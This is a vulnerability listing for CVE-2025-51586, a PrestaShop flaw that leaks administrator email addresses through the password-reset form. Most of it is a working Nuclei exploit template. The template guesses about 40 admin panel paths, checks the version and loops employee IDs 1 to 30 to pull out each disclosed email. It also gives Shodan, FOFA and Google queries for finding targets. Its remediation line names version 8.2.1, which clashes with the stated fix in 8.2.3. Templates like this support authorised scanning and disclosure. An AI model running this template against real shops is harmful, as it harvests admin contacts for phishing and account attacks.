CVE-2025-51586: PrestaShop - Information Disclosure

2025-12-02 PrestaShop PoC Public

Description

User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.

PoC

id: CVE-2025-51586

info:
  name: PrestaShop - Information Disclosure
  author: mastercho
  severity: medium
  description: |
    User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.
  impact: |
    Attackers can gain sensitive information via the reset password feature, potentially leading to further attacks.
  remediation: |
    Update to version 8.2.1 or later.
  reference:
    - https://maxime-morel.github.io/advisories/2025/CVE-2025-51586.md
    - https://security.friendsofpresta.org/core/2025/09/04/CVE-2025-51586.html
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51586
  classification:
    cwe-id: CWE-359
  metadata:
    verified: true
    vendor: prestashop
    product: prestashop
    shodan-query:
      - http.component:"prestashop"
      - cpe:"cpe:2.3:a:prestashop:prestashop"
      - http.title:"prestashop"
    fofa-query: title="prestashop"
    google-query: intitle:"prestashop"
  tags: prestashop,panel,login,intrusive,cve,vuln

variables:
  token: "{{rand_base(32)}}"
  token2: "{{rand_base(32)}}"

flow: |
  // 1) Run panel detection on all common admin paths
  http(1);

  // 2) Unwrap matchedpath (extractors return a list in flow)
  var path = "";
  if (template["matchedpath"] && template["matchedpath"].length) {
    for (let p of iterate(template["matchedpath"])) {
      path = p;
      break; // use first detected admin path
    }
  }
  // Fallback: body regex may not match on all installs, but the matched payload is always known
  if (!path && template["paths"]) {
    path = template["paths"];
  }

  // 3) Unwrap version (first extracted value)
  var v = "";
  if (template["version"] && template["version"].length) {
    for (let ver of iterate(template["version"])) {
      v = ver;
      break;
    }
  }

  // 4) JS version check: vulnerable if version < 8.2.3
  function isVulnerable(ver) {
    if (!ver) return true;           // unknown version -> still test
    var parts = (ver + "").split(".");
    var M = parseInt(parts[0] || "0", 10);
    var m = parseInt(parts[1] || "0", 10);
    var p = parseInt(parts[2] || "0", 10);

    if (M < 8) return true;
    if (M > 8) return false;
    if (m < 2) return true;
    if (m > 2) return false;
    return p < 3;                    // 8.2.0–8.2.2 are vuln; 8.2.3+ are not
  }

  // 5) Only execute http(2) if we have a path AND the version is vulnerable
  // Loop manually so nuclei doesn't stop iterating after the first payload match
  if (path && isVulnerable(v)) {
    set("matchedpath", path);
    for (let i = 1; i <= 30; i++) {
      set("emp_id", String(i));
      http(2);
    }
  }

http:
  - id: detect-panel
    method: GET
    path:
      - '{{BaseURL}}/{{paths}}/'

    payloads:
      paths:
        - 'backoffice'
        - 'back-office'
        - 'Backoffice'
        - 'admin-dev'
        - 'backend'
        - 'admin_'
        - 'mikromanage'
        - 'manage'
        - 'manager'
        - 'adminshop'
        - 'administrator'
        - 'administracja'
        - 'adm'
        - 'webadmin'
        - 'admin-web'
        - 'kontrollpanel'
        - 'amministra'
        - 'adminas'
        - 'admin123'
        - 'admin0'
        - 'adminxx'
        - 'admin'
        - 'ps-admin'
        - 'admins'
        - 'p-office'
        - 'admin333'
        - 'admin4444'
        - 'admin66'
        - 'backadmin'
        - 'admin1'
        - 'BackofficeNEW'
        - '4dm1n'
        - 'administrazione'
        - 'accesadministrateur'
        - '_admin123'
        - 'iadmin'
        - 'panel'
        - 'admin-prestashop'
        - 'admin17'
        - 'admin8'
        - 'admin81'

    host-redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: matchedpath
        part: body
        group: 1
        internal: true
        regex:
          - 'value="https?:\/\/[^\/]+\/((?:[A-Za-z]{2}\/)?(?:[A-Za-z0-9_-]*admin(?:-dev)?|[Bb]ackoffice|adm|panel)[^"]*?)\/'

      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - 'login\.js\?v=([0-9.]+)'

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - 'PrestaShop'
          - 'class="show-forgot-password'
        condition: and
        internal: true
      - type: word
        part: body
        words:
          - 'themes/default/css/admin-theme.css'
          - 'class="show-forgot-password'
        condition: and
        internal: true

  - id: generate-token
    method: GET
    path:
      - '{{Scheme}}://{{Hostname}}/{{matchedpath}}/index.php?controller=AdminLogin&token={{token}}&id_employee={{emp_id}}&reset_token={{token2}}'

    extractors:
      - type: regex
        name: reset-email
        part: body
        group: 1
        regex:
          - '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
          - '<input[^>]*value="([^"@]+@[^"]+)"[^>]*name="reset_email"'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - 'AdminLogin'
          - 'PrestaShop'

      - type: regex
        part: body
        regex:
          - '<input[^>]*name="reset_email"[^>]*value="([^"]+)"'
          - '<input[^>]*value="[^"@]+@[^"]+"[^>]*name="reset_email"'
        condition: or
# digest: 4a0a00473045022100bb9546f1d32676befa1a111d2b57f44e05fdd8a5b0f79fa49be8091fd5c4725c0220391fd4a99aa18e000187a48ca5bbe601ffd7977472fe7dc939a7fbe92846339a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities